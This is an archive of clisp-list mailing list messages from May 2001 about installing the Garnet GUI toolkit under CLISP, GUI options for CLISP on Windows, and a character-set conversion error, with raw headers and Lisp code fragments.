(:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) = =20 (:SELECTION-FUNCTION default-load-function) (:FONT ,(o-formula (gvl :parent :button-panel-font))) (:H-ALIGN :CENTER) (:PIXEL-MARGIN NIL) (:RANK-MARGIN NIL) (:FIXED-HEIGHT-P T) (:FIXED-WIDTH-P T) (:INDENT 0) (:V-SPACING 5) (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing))) (:DIRECTION :HORIZONTAL) (:SHADOW-OFFSET 5) (:TEXT-OFFSET 4) (:FINAL-FEEDBACK-P NIL) (:GRAY-WIDTH 3) (:ITEMS ,(o-formula (gvl :parent :button-panel-items))))))) (s-value motif-load-gadget :initialize #'Save-Load-Gadget-Initialize) ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0-- From dennis@illusions.com Tue May 15 11:01:06 2001 Received: from bubba.gong.com ([207.254.25.3] helo=illusions.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zj85-00081f-00 for ; Tue, 15 May 2001 11:01:05 -0700 Received: from localhost (dennis@localhost) by illusions.com (8.11.3/8.11.3) with ESMTP id f4FI19w21845 for ; Tue, 15 May 2001 11:01:09 -0700 Date: Tue, 15 May 2001 11:01:09 -0700 (MST) From: Dennis To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] GUI library under windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, Is there currently some kind of gui library for clisp on M$ windows systems? The sourceforge page mentions wxWindows bindings being a task but doesn't have any status info. -- --- Dennis Sacks dennis@illusions.com From igc2@psu.edu Tue May 15 12:35:24 2001 Received: from f04s01.cac.psu.edu ([128.118.141.31] helo=f04n01.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zkbL-0001wO-00 for ; Tue, 15 May 2001 12:35:23 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n01.cac.psu.edu (8.9.3/8.9.3) with SMTP id PAA159464 for ; Tue, 15 May 2001 15:35:20 -0400 Message-ID: <001401c0dd76$0fa49e60$a681cb82@ist.psu.edu> From: "isaac councill" To: Subject: Re: [clisp-list] garnet install Date: Tue, 15 May 2001 15:34:29 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0011_01C0DD54.88145880" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C0DD54.88145880 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Below is a sample of problematic code. =20 ;line# -> (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left) 10)) (:TOP ,(o-formula (gvl :parent :top) 24)) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) (:FIELD-OFFSET 0) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) (:GROW-P T) (:LABEL-STRING "Directory:") (:VALUE ,(o-formula (directory-namestring (truename (gvl :parent :initial-directory))))) (:SELECTION-FUNCTION Update-File-Menu)) The commas seem to be really messing with clisp's understanding of what = should happen here. When I run this in the garnet-load procedure, clisp = complains of an illegal operation: commas are not allowed outside of = back-quote. When I remove the commas, there is a problem of an expected = comma before SCROLLING-LABELED-BOX. I place a comma immediately before = SCROLLING-LABELED-BOX and then I get the message: *** - READ from #< BUFFERED FILE-STREAM CHARACTER #P"FOO/save-gadget.lisp" @line#>: # has no external symbol with name " " Can anyone see in this code what problem clisp might have with it? The = full file is attached to previous message. Thanks, Isaac ------=_NextPart_000_0011_01C0DD54.88145880 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Below is a sample of problematic = code. =20
 
;line# ->
(:DIR-INPUT=20 ,GARNET-GADGETS:SCROLLING-LABELED-BOX
      = (:LEFT=20 ,(o-formula (gvl :parent :left) 10))
      = (:TOP=20 ,(o-formula (gvl :parent :top) 24))
      = (:WIDTH=20 ,(o-formula (gvl :parent :min-gadget-width)=20 240))
      (:MIN-FRAME-WIDTH=20 NIL)
      (:FIELD-FONT ,(o-formula (gvl = :parent=20 :dir-input-field-font)))
      = (:FIELD-OFFSET=20 0)
      (:LABEL-OFFSET=20 5)
      (:LABEL-FONT ,(o-formula (gvl = :parent=20 :dir-input-label-font)))
      (:GROW-P=20 T)
      (:LABEL-STRING=20 "Directory:")
      (:VALUE ,(o-formula=20 (directory-namestring
   (truename (gvl :parent=20 :initial-directory)))))
      = (:SELECTION-FUNCTION=20 Update-File-Menu))
 
 
The commas seem to be really = messing with=20 clisp's understanding of what should happen here.  When I run this = in the=20 garnet-load procedure, clisp complains of an illegal operation: commas = are not=20 allowed outside of back-quote.  When I remove the commas, there is = a=20 problem of an expected comma before SCROLLING-LABELED-BOX.  I place = a comma=20 immediately before SCROLLING-LABELED-BOX and then I get the=20 message:
 
*** - READ from
    #< BUFFERED = FILE-STREAM=20 CHARACTER
       =20 #P"FOO/save-gadget.lisp" @line#>:
 
    #<PACKAGE = GARNET-GADGETS>=20 has no external symbol with name " "
 
Can anyone see in this code what = problem clisp=20 might have with it?  The full file is attached to previous=20 message.
 
Thanks,
Isaac
 
 
------=_NextPart_000_0011_01C0DD54.88145880-- From sds@gnu.org Tue May 15 13:18:03 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zlGd-0001fz-00 for ; Tue, 15 May 2001 13:18:03 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA03359; Tue, 15 May 2001 15:17:53 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Dennis Cc: Subject: Re: [clisp-list] GUI library under windows? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 15 May 2001 16:15:07 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] GUI library under windows?" > * Sent on Tue, 15 May 2001 11:01:09 -0700 (MST) > * Honorable Dennis writes: > > Is there currently some kind of gui library for clisp on M$ windows > systems? The sourceforge page mentions wxWindows bindings being a task > but doesn't have any status info. would you like to work on this? the portable way to do GUI is to interface with an html browser. CLISP inspector works that way. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never underestimate the power of stupid people in large groups. From sds@gnu.org Tue May 15 13:20:31 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zlJ1-0002GS-00 for ; Tue, 15 May 2001 13:20:31 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA03400; Tue, 15 May 2001 15:20:29 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: "isaac councill" Cc: Subject: Re: [clisp-list] garnet install References: <001401c0dd76$0fa49e60$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <001401c0dd76$0fa49e60$a681cb82@ist.psu.edu> Date: 15 May 2001 16:17:43 -0400 Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <001401c0dd76$0fa49e60$a681cb82@ist.psu.edu> > * On the subject of "Re: [clisp-list] garnet install" > * Sent on Tue, 15 May 2001 15:34:29 -0400 > * Honorable "isaac councill" writes: > > Below is a sample of problematic code. > > ;line# -> > (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX > (:LEFT ,(o-formula (gvl :parent :left) 10)) > (:TOP ,(o-formula (gvl :parent :top) 24)) > (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) > (:MIN-FRAME-WIDTH NIL) > (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) > (:FIELD-OFFSET 0) > (:LABEL-OFFSET 5) > (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) > (:GROW-P T) > (:LABEL-STRING "Directory:") > (:VALUE ,(o-formula (directory-namestring > (truename (gvl :parent :initial-directory))))) > (:SELECTION-FUNCTION Update-File-Menu)) > > > The commas seem to be really messing with clisp's understanding of > what should happen here. When I run this in the garnet-load > procedure, clisp complains of an illegal operation: commas are not > allowed outside of back-quote. commas _are_ illegal outside of backquote, so this cannot be a top-level form. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS Windows: error: the operation completed successfully. From sds@gnu.org Tue May 15 15:46:00 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14znZo-0004cH-00 for ; Tue, 15 May 2001 15:46:00 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA06506; Tue, 15 May 2001 17:45:58 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: "isaac councill" Cc: Subject: Re: [clisp-list] garnet install References: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> <003501c0dd5c$94f52f40$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <003501c0dd5c$94f52f40$a681cb82@ist.psu.edu> Date: 15 May 2001 18:43:06 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <003501c0dd5c$94f52f40$a681cb82@ist.psu.edu> > * On the subject of "Re: [clisp-list] garnet install" > * Sent on Tue, 15 May 2001 12:32:06 -0400 > * Honorable "isaac councill" writes: > > By commenting out the loading of offending files one at a time, I found that > four files produce the exact same error. Interestingly, these are > save-gadget.lisp, load-gadget.lisp, motif-save-gadget.lisp, and > motif-load-gadget.lisp. When none of these files are loaded, > garnet-loader.lisp loads everything else. I downloaded garnet src-2000-Mar-12.tar.gz and tried with the CVS version. I could load garnet-prepare-compile and garnet-loader without any problems, and I got an error on garnet-compiler. The error turned out to be a bug in nclx which I have just fixed. I suggest that you get the CLISP from the CVS and try again. garnet works out of the box for me with the current CLISP. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, why doesn't this magnet pick up this floppy disk? From keithr@ssd.fsi.com Tue May 15 16:08:37 2001 Received: from ns1.fsbti.com ([63.89.136.194] helo=guardian.fsbti.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14znvh-0006xR-00 for ; Tue, 15 May 2001 16:08:37 -0700 Received: by guardian.fsbti.com; id QAA24810; Tue, 15 May 2001 16:08:26 -0700 Received: from nodnsquery(192.168.31.51) by guardian.fsbti.com via smap (V5.5) id xma024771; Tue, 15 May 01 16:08:15 -0700 Received: by SRV001B2 with Internet Mail Service (5.5.2653.19) id ; Tue, 15 May 2001 19:06:47 -0400 Message-ID: From: "Rehm, Keith" To: clisp-list@lists.sourceforge.net Date: Tue, 15 May 2001 19:07:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, I am using the win32 binaries on a win2k machine. I get the error: *** - invalid byte #x81 in CHARSET:CP1252 conversion I found that an apparent cause of this is a +/- sign which was copied/pasted from a pdf document into a (ada source) file I am reading with read-line. Is it the case that the win32 CLISP is not able to read these characters because of certain character sets not being compiled into the binaries? Thank you, Keith From dennis@illusions.com Tue May 15 16:45:54 2001 Received: from bubba.gong.com ([207.254.25.3] helo=illusions.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14zoVm-0002bC-00 for ; Tue, 15 May 2001 16:45:54 -0700 Received: from localhost (dennis@localhost) by illusions.com (8.11.3/8.11.3) with ESMTP id f4FNjWv25674; Tue, 15 May 2001 16:45:32 -0700 Date: Tue, 15 May 2001 16:45:32 -0700 (MST) From: Dennis To: Sam Steingold cc: Subject: Re: [clisp-list] GUI library under windows? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 15 May 2001, Sam Steingold wrote: > > Is there currently some kind of gui library for clisp on M$ windows > > systems? The sourceforge page mentions wxWindows bindings being a task > > but doesn't have any status info. > > would you like to work on this? Although I wouldn't mind helping out, I don't think I've got enough experience to pull it off. Has someone planned out how wxWindows would map into CLISP? > the portable way to do GUI is to interface with an html browser. > CLISP inspector works that way. I'll take a look at that. Thanks. -- --- Dennis Sacks dennis@illusions.com From sds@gnu.org Wed May 16 07:54:42 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1502hG-0003oQ-00 for ; Wed, 16 May 2001 07:54:42 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA13310; Wed, 16 May 2001 10:54:26 -0400 (EDT) X-Envelope-To: To: Dennis Cc: Subject: Re: [clisp-list] GUI library under windows? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 16 May 2001 10:52:28 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] GUI library under windows?" > * Sent on Tue, 15 May 2001 16:45:32 -0700 (MST) > * Honorable Dennis writes: > > On 15 May 2001, Sam Steingold wrote: > > > > Is there currently some kind of gui library for clisp on M$ windows > > > systems? The sourceforge page mentions wxWindows bindings being a task > > > but doesn't have any status info. > > > > would you like to work on this? > > Although I wouldn't mind helping out, I don't think I've got enough > experience to pull it off. Has someone planned out how wxWindows would > map into CLISP? please look at http://wxpython.org/ the issue is time and will, not experience. If you have time and will, get wxwin, wxpy, look at the code, subscribe to clisp-devel and ask questions there... -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who can laugh at themselves will never cease to be amused. From amoroso@mclink.it Wed May 16 08:03:05 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1502pA-0004y7-00 for ; Wed, 16 May 2001 08:02:52 -0700 Received: from net145-079.mclink.it (net145-079.mclink.it [195.110.145.79]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f4GF2gW09705 for ; Wed, 16 May 2001 17:02:42 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] garnet install Date: Wed, 16 May 2001 17:02:57 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> In-Reply-To: <003101c0dd4f$7157aca0$a681cb82@ist.psu.edu> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, 15 May 2001 10:58:03 -0400, Isaac Councill wrote: > Does anyone out there use garnet with clisp? If so, what did you do to > install it? A few months ago I was able to use Garnet with the then latest CLISP and NCLX on Red Hat Linux. It still had some--apparently--minor problems, but I was able to run most of the Garnet demos and tools. I seem to remember that I didn't do anything fancy to compile it at the time, but I am unable to provide more details now. If necessary, I can dig up an old message summarizing my experience. I have been meaning to play a bit more extensively with Garnet myself, but I currently don't have much time. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Wed May 16 08:27:39 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1503D9-0001sN-00 for ; Wed, 16 May 2001 08:27:39 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA19993; Wed, 16 May 2001 11:27:34 -0400 (EDT) X-Envelope-To: To: "Rehm, Keith" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] character sets References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 16 May 2001 11:25:35 -0400 Message-ID: Lines: 30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] character sets" > * Sent on Tue, 15 May 2001 19:07:43 -0400 > * Honorable "Rehm, Keith" writes: > > I am using the win32 binaries on a win2k machine. I get the error: you did not specify the CLISP version and where you got your binaries. I assume that you mean the latest release 2.25.1 and my binary from SF. next time please supply the value of (lisp-implementation-version). > *** - invalid byte #x81 in CHARSET:CP1252 conversion > > I found that an apparent cause of this is a +/- sign which was > copied/pasted from a pdf document into a (ada source) file I am how do you copy/paste from PDF?! > reading with read-line. Is it the case that the win32 CLISP is not > able to read these characters because of certain character sets not > being compiled into the binaries? you need to specify the :external-format argument to open, see http://clisp.sourceforge.net/impnotes.html#open -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Only a fool has no doubts. From igc2@psu.edu Wed May 16 09:26:00 2001 Received: from f04s07.cac.psu.edu ([128.118.141.35] helo=f04n07.cac.psu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15047b-00029m-00 for ; Wed, 16 May 2001 09:25:59 -0700 Received: from leopard (leopard.ist.psu.edu [130.203.129.166]) by f04n07.cac.psu.edu (8.9.3/8.9.3) with SMTP id MAA123114 for ; Wed, 16 May 2001 12:25:56 -0400 Message-ID: <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> From: "isaac councill" To: Subject: Re: [clisp-list] garnet-install Date: Wed, 16 May 2001 12:25:06 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001D_01C0DE03.3D7638C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C0DE03.3D7638C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Well, the comma problem is fixed but now I am simply getting a slightly = more descriptive version of the original error: *** LISP-RENAMED-BY-GARNET: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION = argument 63548 Same files, of course. If anyone (Paolo, for instance?) has any (save = or load)-gadgets files that worked at one time, I would be grateful if = you could send one for me to examine. Thanks, Isaac ------=_NextPart_000_001D_01C0DE03.3D7638C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Well, the comma problem is fixed but = now I am=20 simply getting a slightly more descriptive version of the original=20 error:
 
*** LISP-RENAMED-BY-GARNET: = MAKE-ENCODING:=20 illegal :OUTPUT-ERROR-ACTION argument 63548
 
Same files, of course.  If anyone = (Paolo, for=20 instance?) has any (save or load)-gadgets files that worked at one time, = I would=20 be grateful if you could send one for me to examine.
 
Thanks,
Isaac
------=_NextPart_000_001D_01C0DE03.3D7638C0-- From sds@gnu.org Wed May 16 10:50:15 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1505R9-0001Dy-00 for ; Wed, 16 May 2001 10:50:15 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA20658; Wed, 16 May 2001 13:50:08 -0400 (EDT) X-Envelope-To: To: "isaac councill" Cc: Subject: Re: [clisp-list] garnet-install References: <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> Date: 16 May 2001 13:48:02 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> > * On the subject of "Re: [clisp-list] garnet-install" > * Sent on Wed, 16 May 2001 12:25:06 -0400 > * Honorable "isaac councill" writes: > > Well, the comma problem is fixed but now I am simply getting a > slightly more descriptive version of the original error: > > *** LISP-RENAMED-BY-GARNET: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548 > > Same files, of course. If anyone (Paolo, for instance?) has any (save > or load)-gadgets files that worked at one time, I would be grateful if > you could send one for me to examine. I take your message to mean that you do not need any help from me (which is perfectly fine with me!) otherwise you would have included information on what you did to get this error message (like, "cvs up; configure --with-module=clx/new-clx --build build; make install; clisp -K full -i garnet-compile.lisp" &c). If you get this error on load, please set *load-print* to T; if you get this error on compile, please set *compile-print* to T. The error message by itself it _never_ enough, you _must_ supply the offending form (which, BTW, might not be enough either! :-) As I said yesterday - I compiled garnet without errors and ran some demos too. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Failure is not an option. It comes bundled with your Microsoft product. From amoroso@mclink.it Wed May 16 11:36:44 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1506A4-0003lf-00 for ; Wed, 16 May 2001 11:36:40 -0700 Received: from net145-021.mclink.it (net145-021.mclink.it [195.110.145.21]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f4GIaUu25605 for ; Wed, 16 May 2001 20:36:31 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] garnet-install Date: Wed, 16 May 2001 20:36:47 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> In-Reply-To: <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, 16 May 2001 12:25:06 -0400, Isaac Councill wrote: > Same files, of course. If anyone (Paolo, for instance?) has any > (save or load)-gadgets files that worked at one time, I would be grateful > if you could send one for me to examine. I did not need to modify those files at the time. I include below a message I posted to this list a couple of years ago. It illustrates my experience with Garnet and CLISP under Linux. Paolo ----------------------------------------------------------------------------- To: Multiple recipients of list Subject: Garnet questions and problems From: amoroso@mclink.it (Paolo Amoroso) Date: Mon, 10 May 1999 09:28:43 -0700 (PDT) I use CLISP 1999.01.08, built from source with the included NCLX module, under Red Hat Linux 5.2. I have installed the Garnet 3.0 distribution for CLISP available at CONS.ORG. I have followed the directions provided in the Garnet documentation, including the ones specific to CLISP. Of course I didn't need to rename the source files. I have also set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL before compilation to avoid being flooded by warnings when later running the demos. I have found that in garnet-loader.lsp there is no CLISP specific value for *DEFAULT-GARNET-PROCLAIM*. I guess this reflected the state of CLISP when Garnet 3.0 was released several years ago. Are there optimization settings worth considering with recent versions of CLISP such as the one I'm using? As suggested by the documentation, I have dumped a Garnet image that I start with an appropriate script. Do I still need to run the garnet-after-compile script? Can I delete the Lisp sources and binaries when they are non longer needed? When I start the Garnet image, I get the following error: [paolo@localhost paolo]$ garnet i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I I I I I I I 8 8 8 8 8 8 I I I I I I I 8 8 8 ooooo 8oooo I \ `+' / I 8 8 8 8 8 \ `-+-' / 8 o 8 8 o 8 8 `-__|__-' ooooo 8oooooo ooo8ooo ooooo 8 | ------+------ Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Pierpaolo Bernardi, Sam Steingold 1998 *** Restarting Garnet 3.0 image created with opal:make-image *** *** Image creation date: May 10, 1999, 3:17 PM *** *** - FUNCALL: the function #:|(SETF XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS)| is undefined As far as I can tell, that function is present in the XLIB package: 1. Break [7]> (apropos "DISPLAY-REPORT-ASYNCHRONOUS-ERRORS") XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS function XLIB::DISPLAY-REPORT-ASYNCHRONOUS-ERRORS-SETTER function It seems that the only reference to XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS is in src/opal/x.lsp: [...] 